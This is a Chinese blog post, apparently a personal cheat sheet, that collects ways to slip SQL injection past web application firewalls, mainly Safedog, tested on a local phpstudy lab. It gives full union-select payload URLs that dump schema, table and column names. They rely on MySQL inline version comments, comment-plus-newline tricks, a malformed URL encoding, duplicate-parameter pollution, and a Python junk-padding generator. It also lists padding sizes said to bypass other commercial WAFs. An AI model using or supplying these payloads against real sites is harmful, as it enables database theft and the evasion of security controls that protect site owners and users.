sql注入绕waf总结

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

总结下自己常用的sql注入绕waf方法

一、环境搭建?

windows 10 操作系统
1,phpstudy2016
2,安全狗最新版,(切记以管理员身份启动安全狗)

二、方法

1.内联注释(/![12345]/)绕过方法:

/!select/: 相当于没有注释
/!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
/![]/: []中括号中的数字若填写则必须是5位

例子:http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544order/*!11544by/*!11544*/1--+


http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union/*!11544select/*!115441,2,3,4,group_concat(schema_name),6*/from information_schema.schemata--+

http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+

2.第二种绕过方法,内联注释另类思想绕过

传统的方法使用内联注释都是使用 /!12345select/ 去注释SQL关键字符来进行绕waf,那么为什么非得注释关键字呢,她是美女么?有我们必火的小女生好看吗? 如果不是美女,也没我们的小女生好看,那能不能不注释关键字,注释点别的好不好?

代码如下(示例):

http://192.168.31.142/safedog/bihuo.php?tel=1'union/*!88888www.hacker.wang*/
select 1,2,3,4,  group_concat(column_name),6 from information_schema.columns where table_schema=database () and 
/*!88888www.hacker.wang*/table_name=0x7573657273 --+

解析:
图中两处 /!88888www.hacker.wang/ 即可绕狗 :88888 肯定大于当前啊版本号,所以注释内容不执行,等于没有加这句话,不影响程序运行。
下面的表名要换成16进制。
注意database()中间有个空格

3.第三种绕过方法,%0a绕过

示例:

http://192.168.31.142/safedog/bihuo.php?tel=1' 
union -- www.hacker.wang%0aselect 1, 2,3,4, group_concat(column_name),6 
from information_schema.columns where table_schema=database () and  
-- www.hacker.wang%0a table_name=0x7573657273--+

解析:
–:表示注释,在mysql中真正的注释是"-- ",这里必须有个空格,否则不是注释,%0a是换行的url编码,换号后,表示重新查询,前面的注释对后面的语句将不再影响,这也要注意,
database空格()这里,中间有个空格

4.第四种绕过方法,特殊的URL编码绕过安全狗

示例:

http://192.168.31.142/safedog/bihuo.php?tel=1' union/*%!a*/select 1,2,3,4, 
 group_concat(column_name),6 from information_schema.columns 
 where table_schema=database () and table_name in (0x7573657273) --+

解析:
此处%!a是一个错误的url编码,但这个编码比较特殊,可以绕狗,其他则不行。
这里的table_name 要 改成 table_name in (0x7573657273) 这种格式
database() 中间有个空格 database空格()

5.url另类传参绕过

示例:

http://192.168.31.142/safedog/bihuo.php?tel=1&bihuo=/*&tel=1'union select 1,2,3,4, 
group_concat(column_name),6 from information_schema.columns 
where table_schema=database() and table_name='users' --+*

当url参数出现两个同名参数时,将取最后一个参数的值,所以这里会取后面的tel的值,前面传参/,后面/闭合:
绕过分析:安全狗误以为/**/是注释的内容所以全部忽略。

6.垃圾数据填充

用脚本生成的垃圾数据进行填充绕过:

#coding=utf-8
import random,string
from urllib import parse
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
    str_list = [random.choice(string.ascii_letters) for i in range(length)]
    random_str = ''.join(str_list)
    return random_str

def main():
    data={}
    for i in range(num_min,num_max):
        data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
    print('&'+parse.urlencode(data)+'&')

main()

生成垃圾数据 当如果是POST型就直接把垃圾数据放到你要注入的字段前后,如果是GET型就把他转为POST型再放垃圾数据。
目前为止的bypass测试数据:

云锁:30KB

宝塔:30KB

阿里云:200+键值对

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值